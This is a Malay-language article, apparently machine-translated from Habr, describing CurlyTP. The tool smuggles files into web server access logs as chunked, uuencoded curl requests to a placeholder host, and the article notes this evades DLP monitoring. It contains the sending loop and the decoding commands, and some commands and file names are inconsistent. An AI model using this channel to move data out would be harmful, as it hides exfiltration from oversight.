Pertukaran mesej rahsia melalui log pelayan

Menurut definisi Wikipedia, dead drop adalah alat konspirasi yang berfungsi untuk bertukar maklumat atau beberapa item antara orang menggunakan lokasi rahsia. Ideanya ialah orang tidak pernah bertemu - tetapi mereka masih bertukar maklumat untuk mengekalkan keselamatan operasi.

Tempat persembunyian tidak sepatutnya menarik perhatian. Oleh itu, dalam dunia luar talian mereka sering menggunakan perkara yang bijak: bata longgar di dinding, buku perpustakaan atau lompang di pokok.

Terdapat banyak alat penyulitan dan anonimisasi di Internet, tetapi hakikat penggunaan alat ini menarik perhatian. Di samping itu, mereka mungkin disekat di peringkat korporat atau kerajaan. Apa nak buat?

Pemaju Ryan Flowers mencadangkan pilihan yang menarik - gunakan mana-mana pelayan web sebagai tempat persembunyian. Jika anda memikirkannya, apakah yang dilakukan oleh pelayan web? Menerima permintaan, mengeluarkan fail dan menulis log. Dan ia mencatat semua permintaan, walaupun yang tidak betul!

Ternyata mana-mana pelayan web membolehkan anda menyimpan hampir semua mesej dalam log. Bunga tertanya-tanya bagaimana untuk menggunakan ini.

Dia menawarkan pilihan ini:

  1. Ambil fail teks (mesej rahsia) dan hitung cincang (md5sum).
  2. Kami mengekodnya (gzip+uuencode).
  3. Kami menulis ke log menggunakan permintaan yang sengaja tidak betul kepada pelayan.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Untuk membaca fail, anda perlu melakukan operasi ini dalam susunan terbalik: nyahkod dan nyahzip fail, semak cincang (cincang boleh dihantar dengan selamat melalui saluran terbuka).

Ruang diganti dengan =+=supaya tiada ruang dalam alamat. Program ini, yang penulis panggil CurlyTP, menggunakan pengekodan base64, seperti lampiran e-mel. Permintaan dibuat dengan kata kunci ?transfer?supaya penerima mudah mencarinya dalam log.

Apa yang kita lihat dalam log dalam kes ini?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Seperti yang telah disebutkan, untuk menerima mesej rahsia anda perlu melakukan operasi dalam susunan terbalik:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Proses ini mudah untuk diautomatikkan. Md5sum sepadan, dan kandungan fail mengesahkan bahawa semuanya telah dinyahkod dengan betul.

Kaedahnya sangat mudah. β€œMaksud latihan ini hanyalah untuk membuktikan bahawa fail boleh dipindahkan melalui permintaan web kecil yang tidak bersalah, dan ia berfungsi pada mana-mana pelayan web dengan log teks biasa. Pada asasnya, setiap pelayan web adalah tempat persembunyian!” tulis Flowers.

Sudah tentu, kaedah ini hanya berfungsi jika penerima mempunyai akses kepada log pelayan. Tetapi akses sedemikian disediakan, sebagai contoh, oleh banyak hoster.

Bagaimana untuk menggunakannya?

Ryan Flowers berkata dia bukan pakar keselamatan maklumat dan tidak akan menyusun senarai kemungkinan kegunaan untuk CurlyTP. Baginya, ia hanyalah bukti konsep bahawa alat yang biasa kita lihat setiap hari boleh digunakan dengan cara yang tidak konvensional.

Malah, kaedah ini mempunyai beberapa kelebihan berbanding pelayan lain yang "menyembunyikan" seperti Titisan Mati Digital atau PirateBox: ia tidak memerlukan konfigurasi khas pada bahagian pelayan atau mana-mana protokol khas - dan tidak akan menimbulkan syak wasangka di kalangan mereka yang memantau lalu lintas. Tidak mungkin sistem SORM atau DLP akan mengimbas URL untuk fail teks termampat.

Ini adalah salah satu cara untuk menghantar mesej melalui fail perkhidmatan. Anda boleh ingat bagaimana beberapa syarikat maju pernah meletakkan Pekerjaan Pembangun dalam Pengepala HTTP atau dalam kod halaman HTML.

Pertukaran mesej rahsia melalui log pelayan

Ideanya ialah hanya pembangun web akan melihat telur Paskah ini, kerana orang biasa tidak akan melihat pengepala atau kod HTML.

Pertukaran mesej rahsia melalui log pelayan

Sumber: www.habr.com

Tambah komen